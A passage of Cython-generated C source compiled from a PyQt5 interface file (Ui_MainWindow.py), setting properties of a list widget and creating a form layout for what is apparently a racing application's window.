__Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":390 * self.L_RList.setMouseTracking(True) * self.L_RList.setAcceptDrops(True) * self.L_RList.setStyleSheet("font: 10pt \"Bitstream Charter\";") # <<<<<<<<<<<<<< * self.L_RList.setInputMethodHints(QtCore.Qt.ImhPreferLatin) * self.L_RList.setDefaultDropAction(QtCore.Qt.CopyAction) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_RList); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStyleSheet); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__236, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 390, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":391 * self.L_RList.setAcceptDrops(True) * self.L_RList.setStyleSheet("font: 10pt \"Bitstream Charter\";") * self.L_RList.setInputMethodHints(QtCore.Qt.ImhPreferLatin) # <<<<<<<<<<<<<< * self.L_RList.setDefaultDropAction(QtCore.Qt.CopyAction) * self.L_RList.setProperty("isWrapping", False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_RList); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 391, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 391, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 391, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 391, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ImhPreferLatin); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 391, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 391, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 391, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 391, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 391, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 391, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":392 * self.L_RList.setStyleSheet("font: 10pt \"Bitstream Charter\";") * self.L_RList.setInputMethodHints(QtCore.Qt.ImhPreferLatin) * self.L_RList.setDefaultDropAction(QtCore.Qt.CopyAction) # <<<<<<<<<<<<<< * self.L_RList.setProperty("isWrapping", False) * self.L_RList.setViewMode(QtWidgets.QListView.ListMode) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_RList); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setDefaultDropAction); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_CopyAction); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 392, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":393 * self.L_RList.setInputMethodHints(QtCore.Qt.ImhPreferLatin) * self.L_RList.setDefaultDropAction(QtCore.Qt.CopyAction) * self.L_RList.setProperty("isWrapping", False) # <<<<<<<<<<<<<< * self.L_RList.setViewMode(QtWidgets.QListView.ListMode) * self.L_RList.setModelColumn(0) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_RList); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 393, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setProperty); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 393, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__237, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 393, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":394 * self.L_RList.setDefaultDropAction(QtCore.Qt.CopyAction) * self.L_RList.setProperty("isWrapping", False) * self.L_RList.setViewMode(QtWidgets.QListView.ListMode) # <<<<<<<<<<<<<< * self.L_RList.setModelColumn(0) * self.L_RList.setObjectName("L_RList") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_RList); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 394, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setViewMode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 394, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 394, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QListView); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 394, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_ListMode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 394, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_2) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 394, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 394, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 394, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 394, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 394, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":395 * self.L_RList.setProperty("isWrapping", False) * self.L_RList.setViewMode(QtWidgets.QListView.ListMode) * self.L_RList.setModelColumn(0) # <<<<<<<<<<<<<< * self.L_RList.setObjectName("L_RList") * self.formLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_RList); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 395, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setModelColumn); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 395, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__238, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 395, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":396 * self.L_RList.setViewMode(QtWidgets.QListView.ListMode) * self.L_RList.setModelColumn(0) * self.L_RList.setObjectName("L_RList") # <<<<<<<<<<<<<< * self.formLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.formLayoutWidget_3.setGeometry(QtCore.QRect(260, 0, 1131, 521)) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_RList); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__239, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 396, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":397 * self.L_RList.setModelColumn(0) * self.L_RList.setObjectName("L_RList") * self.formLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) # <<<<<<<<<<<<<< * self.formLayoutWidget_3.setGeometry(QtCore.QRect(260, 0, 1131, 521)) * self.formLayoutWidget_3.setObjectName("formLayoutWidget_3") */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer_Race); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3, __pyx_t_7) < 0) __PYX_ERR(0, 397, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":398 * self.L_RList.setObjectName("L_RList") * self.formLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.formLayoutWidget_3.setGeometry(QtCore.QRect(260, 0, 1131, 521)) # <<<<<<<<<<<<<< * self.formLayoutWidget_3.setObjectName("formLayoutWidget_3") * self.formLayout_3 = QtWidgets.QFormLayout(self.formLayoutWidget_3) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QRect); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__240, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 398, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":399 * self.formLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.formLayoutWidget_3.setGeometry(QtCore.QRect(260, 0, 1131, 521)) * self.formLayoutWidget_3.setObjectName("formLayoutWidget_3") # <<<<<<<<<<<<<< * self.formLayout_3 = QtWidgets.QFormLayout(self.formLayoutWidget_3) * self.formLayout_3.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 399, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 399, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__241, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 399, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":400 * self.formLayoutWidget_3.setGeometry(QtCore.QRect(260, 0, 1131, 521)) * self.formLayoutWidget_3.setObjectName("formLayoutWidget_3") * self.formLayout_3 = QtWidgets.QFormLayout(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.formLayout_3.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) * self.formLayout_3.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 400, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 400, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 400, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 400, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 